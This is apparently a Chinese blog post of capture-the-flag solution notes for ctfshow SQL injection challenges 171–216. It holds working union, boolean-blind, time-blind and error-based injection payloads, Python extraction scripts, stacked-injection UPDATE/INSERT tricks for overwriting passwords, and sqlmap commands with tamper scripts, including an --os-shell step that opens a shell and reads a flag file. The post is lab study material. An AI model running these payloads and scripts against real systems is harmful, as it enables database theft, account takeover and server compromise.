首页 > 数据库 >ctfshow的sql注入解题思路171-211

ctfshow的sql注入解题思路171-211

时间:2024-10-26 19:17:50浏览次数:3  
标签:show -- 211 flag ctf ctfshow sql select

ctfshow-SQL注入

web171:爆库名->爆表名->爆字段名->爆字段值

-1' union select 1,database() ,3 --+ //返回数据库名

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' --+ //获取数据库里的表名

-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='表名' --+ //获取表内字段名

-1' union select 1,group_concat(字段名1),group_concat(字段名2) from 表名 --+ //获取字段值,有2个表,第一个表的password内有个值为flag not here,第二个表的password内有flag

解法2:也可以用万能钥匙-1' or 1=1--+,也可以取到flag

解法3:也可以用或者-1’or username=flag来获取到flag

其他题没有过滤的时候同理

177:这道题目过滤了空格,那我们就可以用"/**/"来代表空格。还有--+,我们可以用%23来代表过滤,然后沿用上面的几个方法都可以找到flag

web178:这道题还是过滤空格,但是把/**/也过滤了,但我们可以利用换行符%09来获取到flag

web179:不知道为啥一下子就出来了

解法2、应该还是过滤空格,不过这次使用%0c来代替空格

web180:用上面的方法都不可以,感觉好像过滤掉了+号,但是我们可以不使用万能钥匙,我们直接使用基本语句-1'or username like 'flag,把空格改为%0c就可以拿到flag了

web181:过滤了很多的参数,空格类的差不多都被禁用了

但是我们可以使用-1'or`username`='flag来获取到flag,或者使用1'or'1'='1'--%0c,也可以获取到flag,但是里面写着禁用0c,却还是可以用,我知道为什么

web182:又过滤了flag,所以不能用181的payload来获取flag了,这一波还是使用万能钥匙-1’or'1'='1'--%01

web183:

web:187

这个这里使用了md5加密,而ffifdyop经过md5($password,true)过后恰好结果是'or'6�]��!r,��b,即最后组成的sql语句是$sql="select password from users where password=''or'<xxx>'"成功绕过。ffifdyop绕过MD5进行sql注入-CSDN博客

web:188

因为他查询的username没有用双引号保护,所以可以令username=0.即可查出。select count(*) from ctfshow_user where username = 0,语句就会变成这样,而0代表搜索所有的字母表。

web189:

提示flag在./api/index.php里,访问api发现有回显

布尔盲注

使用load_file函数读取文件 然后用python进行盲注

web190:

为什么要有admin呢 这也是试出来的 这个admin必须是数据库中存在的 这样才能使用布尔注入 因为这个时候登录 有两种返回结果 一种密码错误 一种就是用户名错误

admin' and '1'='1 密码错误

admin' and '1'='2 用户名不存在

判断出存在注入点

admin' and '1'='1 密码错误 返回值8bef

admin' and '1'='2 用户名不存在 返回值 5728

以上可以证明出可以使用布尔注入 当and后为1为一个页面 当and后为0为一个页面

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<100)#&password=0

返回值8bef 也就是and后语句返回1

username=admin'and (ascii(substr((select f1ag from ctfshow_fl0g),1,1))<99)#&password=0

返回值 5728 也就是and后语句返回0

得出flag

# payload = "admin'and (ascii(substr((select database()),{},1))<{})#".format(i,mid)
# 当前数据库 ctfshow_web
# payload = "admin'and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
# 当前数据表 ctfshow_fl0g和ctfshow_user
# payload = "admin'and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
# 当前字段名 id,f1ag
# payload = "admin'and (ascii(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
# 获取flag

import requests
url = "http://72366131-2d1e-4484-9bb5-9c6bbe82b7b3.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127 #ascii最大值
    min = 32  #ascii最小值
    while 1:#无限循环
        mid = (max+min)>>1 #相当于除2向下取整
        print("第{}波 max={} min={} mid={} ".format(i,max,min,mid))
        if(min == mid):#相等也就代表min+1=max  max=100min=99 mid=99 这个时候max=100返回值为1 min=99返回值为0 这就能证明ascii为99 该值为c
            flag += chr(mid)
            print(flag)
            break
        # payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,mid)
        # 当前数据库 ctfshow_web
        # payload = "admin'and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        # 当前数据表 ctfshow_fl0g和ctfshow_user
        # payload = "admin'and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        # 当前字段名 id,f1ag
        # payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
        # 获取flag
        payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        if res.text.find("8bef")>0:#返回值为1 <100 将该值设置为max
            max = mid
        else:                      #返回值为0 <99 将该值设置为min
            min = mid
    if mid == 32:# 如果mid的值等于空格 结束最外层循环
        print("flag={}".format(flag))
        break

web191:代码如上,把ascii改成ord就可以了,方法一样

web192:ord也被禁用了 hex也被禁用了

那就不用函数 直接判断字符是哪一个

username=admin'and (substr((select database()),1,1)='c')#&password=0

import requests
url = "http://68d5834f-ba36-4b7c-9845-b7e7f717ee00.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789 "
for i in range(1,60):
    for x in flagdic:
        # payload = "admin'and (substr((select database()),{},1)='{}')#".format(i,x)
        # 当前数据库 ctfshow_web
        # payload = "admin'and (substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}')#".format(i,x)
        # 当前数据表 ctfshow_fl0g和ctfshow_user
        # payload = "admin'and (substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))='{}')#".format(i,x)
        # 当前字段名 id,f1ag
        # payload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)<{})#".format(i,mid)
        # 获取flag
        payload = "admin'and (substr((select f1ag from ctfshow_fl0g),{},1)='{}')#".format(i,x)
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if res.text.find("8bef")>0:
            if x == " ":# 其实这个if有没有都一个意思 我只是不想多输出一次flag
                break
            flag+=x
            print(flag)
            break
    if x == " ": # 如果遍历到字典的最后的空格 就退出循环代表结束
        break

web193:过滤了substr,但是我们可以用left来代替substr,其中要注意的是

leftadmin'and (left((select database()),{})='{}')#

substr:admin'and (substr((select database()),{},1)='{}')#

substr多了一个序号。

import requests
url = "http://aadbae77-23a2-4f3a-8e40-02523573b6a3.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        # payload = "admin'and (left((select database()),{})='{}')#".format(i,flag+x)
        # 当前数据库 ctfshow_web
        # payload = "admin'and (left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{}))='{}'#".format(i,flag+x)
        # 当前数据表 ctfshow_flxg 之前表名为fl0g 现在为flxg
        # payload = "admin'and (left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{}))='{}'#".format(i,flag+x)
        # 当前字段名 id,flag
        payload = "admin'and (left((select f1ag from ctfshow_flxg),{}))='{}'#".format(i,flag+x)
        # 获取flag
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if x == " ":
            a = 1
            break
        if res.text.find("8bef")>0:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

web194:left被禁用了,那就使用lpad: "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#和left有所不同,

import requests
url = "http://3e49521e-b292-4475-85ca-144b508f1868.challenge.ctf.show/api/"
flag = ""
flagdic="abcdefghijklmnopqrstuvwxyz}-_{0123456789, "
a=0
for i in range(1,60):
    for x in flagdic:
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,flag+x)
        # 获取flag
        data = {
             "username":payload,
                "password":0,
         }
        res = requests.post(url = url,data =data)
        if x == " ":
            a = 1
            break
        if res.text.find("8bef")>0:
            flag+=x
            print(flag)
            break
    if a:
        print("answer={}".format(flag))
        break

web195:堆叠注入

跟着大师傅思路走 直接使用update更新pass 这样所有的pass都被修改为已知的

(前提依旧是已知一个用户admin)

pass已知后 就能通过这个语句

使用叠加注入 更新所有密码,然后把账户改成0,密码为1即可https://blog.csdn.net/m0_72125469/article/details/135088746

web:196

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。

(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过select也并没有被过滤)

可以select绕过password的if判断。

判断条件满足的设定是$row[0]==$password,$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。

既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断

197:

这次select彻底被过滤了 并且update也被过滤了

方法1

利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

用户名:1;show tables

密码:ctfshow_user

有个缺点如果ctfshow_user表不在row【0】的位置那就会失败

注意为什么admin;show tables会查询失败 换成数字就好 因为admin必须使用单引号才可以 但是单引号被过滤了

方法2:

web198与web197基本一致,我们可以用insert向ctfshow_user表的username和pass字段中添加值

username   0' insert ctfshow_user(`username`,`pass`) value(1,2)
password   123

在输入用户名为1,密码为2

username  1
password  2

就可以获取flag

web:198

payload:

用户名:1;show tables

密码:ctfshow_user

web:199

payload:

用户名:1;show tables

密码:ctfshow_user

web200:

payload:

用户名:1;show tables

密码:ctfshow_user

web:201

python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

2.查询到数据库名是ctshow_web(python .\sqlmap.py -u "http://8511075c-e9fe-49ae-a7e8-12996e21a588.challenge.ctf.show/api/?id=" --user-agent=sqlmap --referer="ctf.show" --dbs

3.python .\sqlmap.py -u "http://3fbd84bf-6fe1-45e9-bead-aca9d6f73d05.challenge.ctf.show/api/?id="--user-agent=sqlmap --referer=ctf.show -D ctfshow_web --tables查询他的表名

4.python .\sqlmap.py -u "http://3fbd84bf-6fe1-45e9-bead-aca9d6f73d05.challenge.ctf.show/api/?id="--user-agent=sqlmap --referer=ctf.show -D ctfshow_user -T ctfshow_user --dump

web:202 他叫我们把sqlmap的请求方式改变一下,我们就直接在我们刚刚的基础上再添加一个--data “id=1”就可以了

python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer=ctf.show 
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" --dbs 
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
python .\sqlmap.py -u "http://f4bb75b9-7bd8-4fae-9f01-73444308e565.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

切记要加上index.php 否则不好使

web203:这道题要求使用method调整sqlmap的请求方式

提示要用--method改变请求方式,这里使用PUT请求,但是要记得加上设置Content-Type头,否则会变成表单提交:

#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer=ctf.show
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" --dbs
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web --tables
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns
#python .\sqlmap.py -u "http://3975ccf7-68a6-4113-b8a7-2159580f2603.challenge.ctf.show/api/index.php" --data="id=1" --method=PUT --headers="Content-Type:text/plain" --user-agent=sqlmap --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump

web:204这道题要求我们使用cookie来添加

#python.\sqlmap.py - u"http://20815594-bf49-434d-81ff-27084740e293.challenge.ctf.show/api/index.php" - -data"id=1" - -method = PUT - -header = "Content-Type:text/plain" - -cookie = "PHPSESSID=gsalkdjo8546dqc4dhoqt1bc7u; ctfshow=161f311aae7f4a6afff53434bdcb956d" - -user - agent = sqlmap - -referer = "ctf.show" - Dctfshow_web - T
ctfshow_user - -dump

web:205

抓包 估计这就是鉴权的意思 先访问一个指定页面传入cookie 然后才进行传值,就是可以先设置访问一个cookie的地方然后传入cookie这样子,说明每次都会提交到/api/getToken.php

--safe-url 设置在测试目标地址前访问的安全链接
--safe-freq 设置几次访问一次鉴权页面
python sqlmap.py -u "http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/index.php" 
--data="id=1" --refer="ctf.show" 
--method="PUT" --headers="Content-Type:text/plain" 
--safe-url="http://a1e31d07-94cb-4dd1-9410-035bd768cf3c.challenge.ctf.show/api/getToken.php" 
--safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx,id,tes --dump --batch

这边会遇到他的表明被改了,我们只需要添加上--tables就可以查询到新的表名是什么,然后进去就好了

web206:用上一个的payload就可以了,但是要记得safeurl要改,然后cookie要改,url要改

这里我测试 不使用cookie也可以 但是必须要有访问鉴权的页面的操作 我查看鉴权页面也需要传入cookie 但是脚本不需要cookie也可以

我是这么理解的 上一题中 api页面会检查cookie 所以必须传入cookie 鉴权页面不需要cookie 但是必须要访问鉴权页面 要有这个过程 这道题api页面不需要cookie

加上多余的操作 就是闭合sql语句

但是准确的做法是

python .\sqlmap.py -u http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/index.php --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://190533c8-f8b4-456b-901f-1913f7b89033.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=okqbp2s64j8re4qktb66numu5k" --prefix="')" --suffix="#" -D ctfshow_web -T ctfshow_flaxc --dump

web:207 --tamper的初体验

这个的使用就是基于sqlmap自带的一个脚本文件,--tamper-space2comment.py,在后面添加一个这个就可以过滤掉空格单引号和双引号。所以这题的payload是

python .\sqlmap.py -u "http://c0cc7df8-1159-4771-9780-56a37450ac2f.challenge.ctf.show/api/index.php" --data="id=1" --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://c0cc7df8-1159-4771-9780-56a37450ac2f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=9f8v678b305avu562l4it2e0l2" --prefix="')" --suffix="#" --tamper space2comment.py -D ctfshow_web -T ctfshow_flaxca --dump

web208:

python sqlmap.py -u "http://6f26b2b2-7b83-431e-aba9-122bd6d08b17.challenge.ctf.show/api/index.php" --method="PUT" --data="id=1" --
referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=1vrv4fg7q4uid8i1lhma043h20" --safe-url="http://6f26b2b2-7b83-
431e-aba9-122bd6d08b17.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=space2comment.py,uppercase.py -D ctfshow_web --tables

这道题不会做,因为不会写脚本,所以直接用了WP,到时候会写脚本了再回来看看

uppercase.py

这道题主要是用了里面的uppercase.py

web:209没搞出来,休息

web:210

他这边

python .\sqlmap.py -u "http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1i3gg538qj27clmj4sraoff05g" --tamper 210.py -D ctfshow_web --tables

首先先爆数据库名称,再报表的名称,再爆库的名称,然后三个叠加起来,然后查询,因为有一些地方的数据库名称变了,需要重新再来一遍

python .\sqlmap.py -u "http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/index.php" --data="id=1" --user-agent=sqlmap --refer="ctf.show" --method="PUT" --headers="Content-Type:text/plain" --safe-url="http://5286a3a1-ef01-4b6c-b6c6-fead8a017b95.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie="PHPSESSID=1i3gg538qj27clmj4sraoff05g" --tamper 210.py -D ctfshow_web -T ctfshow_flavi --columns

web211:爆库名->爆表名->爆字段名->爆字段值,还是样子,用web210的脚本就可以了,因为我抄的别人的脚本,流程和210一模一样

web212:同理

web213:这一次添加了os-shell,os-shell的使用就是在后面直接添加一个--os-shell就可以达到getshell的目的

在遇到这个图之后,前面三个选择默认就可以了,到了最后一个1234的选择2,然后路径输入/var/www/html/

然后就可以getshell了,利用shell进入他的页面输入ls看看有没有东西,发现没有就进入到ls的下个目录,ls /

发现有一额给ctfshow_flag,所以我们再用cat /ctfshow_flag获取到flag的值

web214:页面这边空空如也,用BP抓一下包刷新一下,forward两下,发现有一个POST请求包,然后把debug改为1发现语句变成了SQL语句,存在注入点

把ip改为ip=if(2>1,sleep(3),2),发现他会睡三秒,这时候我们就可以使用时间盲注了

# payload = "if(substr(database(),{},1)='{}',sleep(1),2)".format(i,x)
# print(payload) 用于检测问题的
# 当前数据库 ctfshow_web
# payload = "if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2)".format(i, x)
# 当前数据表 answer=ctfshow_flagx,ctfshow_info
# payload = "if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagx'),{},1)='{}'),sleep(1),2)".format(i, x)
# 当前字段名 id,flaga,info
#payload = "if((substr((select flaga from ctfshow_flagx),{},1)='{}'),sleep(1),2)".format(i, x)
# 获取flag

web215:加大一点满肚 使用单引号 以及屏蔽了部分内容 思路就是 使用bp抓包 然后 使用简单的if语句 判断 盲注语句格式

需改debug 确实 提示确实使用了单引号

测试

需要注意两点 都是我遇见的问题

第一点 if不要在引号内

第二点 不要使用and 使用or 因为and第一个如果是假的 and后的if不执行

记得要使用#来注释掉后面的内容才可以

web216:用mysql的tobase64

#payload = 'to_base64(if(substr(database(),{},1)="{}",sleep(1),2))'.format(i, x)
# 当前数据库 ctfshow_web
#payload = "to_base64(if((substr((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),{},1)='{}'),sleep(1),2))".format(i, x)
# 当前数据表 answer=ctfshow_flagxcc,ctfshow_info
#payload = "to_base64(if((substr((select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='ctfshow_flagxcc'),{},1)='{}'),sleep(1),2))".format(i, x)
# 当前字段名 id,flagaac,info

NSSCTF中的堆叠注入

后台的执行逻辑是 select 参数||flag from 表;
这里构造payload *,1 使sql成为 select ,1||flag from 表
其中的 会查询出后面表所有的结果

爆出数据库名字
-1'and(select extractvalue(1,concat('~',(select database()))))#	报错注入
爆出所有数据库名
-1'and(select extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata))))#
爆出数据库test_db下所有的
-1'and(select extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='test_db'))))#
爆出test_db数据库下test_tb表所有的列名
-1'and(select extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_name="test_tb" and table_schema='test_db'))))#
查询flag
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 1 , 31)))))#  0-30位 左边30位
-1'and(select extractvalue(1,concat('~',(select substr((select flag from test_tb), 31 , 60)))))#  31-60位

标签:show,--,211,flag,ctf,ctfshow,sql,select
From: https://blog.csdn.net/2401_83582688/article/details/143251386

相关文章

  • 【SQL 性能分析的4种详细贯通方法】Com______;慢查询日志slow_query_log;profile;explain
    SQL性能分析是一个多维度的过程,涉及到对数据库操作的监控、诊断和优化。以下是使用四种方法详细且连贯地描述SQL性能分析的过程:1.Com_xxx计数器分析MySQL提供了Com_xxx状态变量,用于跟踪不同类型的SQL语句被执行的次数。这些计数器可以帮助我们了解数据库的使用模式和负......
  • SQL基础速成篇
    SQL基础速成篇对应教程:SQL14分钟速成班练习网站:sqliteviz练习文件:https://tinyurl.com/2azrrbcbshare.weiyun.com/t8GrkeZy‍简介​SQL​是一门用来操作数据库的程序语言。像是从数据库中新增、查询、删除或是更新数据等功能。​SQL​主要运行在所谓的【数据......
  • mysql最基本使用命令(关于表)
    1.创建表createtableinfo(idintauto_increment,namechar(32)notnull,ageintnotnull,registerdatedatenotnull,primarykey(id));解析:auto_increment 属性用于创建自增字段notnull设置字段不能为空registerdate默认会记录创建记录时的当前日期和时间p......
  • 【源码+论文】Java毕业设计:基于SpringBoot协同过滤算法的汽车推荐网站(Mysql数据库)
    ✅更多源码|课设......
  • 【渗透实战系列】 从SQL注入渗透内网(渗透的本质就是信息搜集)
    前言一个SQL注入可以帮我们的不仅仅是获取数据库表里的数据,还能让我们直接获取到目标服务器的权限,减少我们渗透的时间,本文主要围绕SQL注入如何进内网来写的,不多说兄弟们看文章就完事了。给我一个SQL注入我能干翻你内网朋友们如果有需要全套《网络安全入门+进阶学习......
  • 一文彻底掌握MySQL的explain执行计划
    MySQL的执行计划是数据库查询优化的重要工具,帮助开发者理解SQL查询的执行过程,从而进行性能调优。执行计划详细展示了MySQL如何解析、优化和执行SQL语句,直接影响查询的效率和性能。1.执行计划的基本概念执行计划是MySQL对SQL查询进行分析后生成的一组指令,描述了如何......
  • 集成平台实现MySQL与金蝶云星空的数据对接
    MySQL数据集成到金蝶云星空:SR生产入库单新增-单工序-深圳天一-好在企业信息化系统中,数据的高效流转和准确对接是确保业务顺畅运行的关键。本文将分享一个实际案例,展示如何通过数据集成平台,将MySQL中的数据无缝集成到金蝶云星空,实现SR生产入库单新增的自动化处理。本次案例的核......
  • 高效集成聚水潭·奇门数据到MySQL的技术方案
    聚水潭·奇门数据集成到MySQL的技术案例分享在本次技术案例中,我们将探讨如何通过轻易云数据集成平台,将聚水潭·奇门的售后单数据高效、可靠地集成到MySQL数据库中。具体方案为“聚水潭-售后单-->BI虹盟-售后表”。这一过程不仅需要处理大量的数据,还需确保数据的完整性和实时性。......
  • 如何实现SQLServer与金蝶云星空的数据高效集成
    SQLServer数据集成到金蝶云星空:泛微项目=>金蝶辅助资料项目在企业信息化系统中,数据的高效流转和准确对接至关重要。本文将分享一个SQLServer数据集成到金蝶云星空的实际案例——泛微项目=>金蝶辅助资料项目。通过这一案例,我们将探讨如何利用轻易云数据集成平台,实现从SQLServe......
  • 钉钉数据集成到MySQL:对账系统--供应商账号
    钉钉数据集成到MySQL:对账系统--供应商账号在企业信息化管理中,数据的高效集成和处理是确保业务流程顺畅运行的关键环节。本文将分享一个实际案例,展示如何通过轻易云数据集成平台,将钉钉的数据无缝对接到MySQL数据库中,以实现对账系统中供应商账号的新增和管理。案例背景在本案例......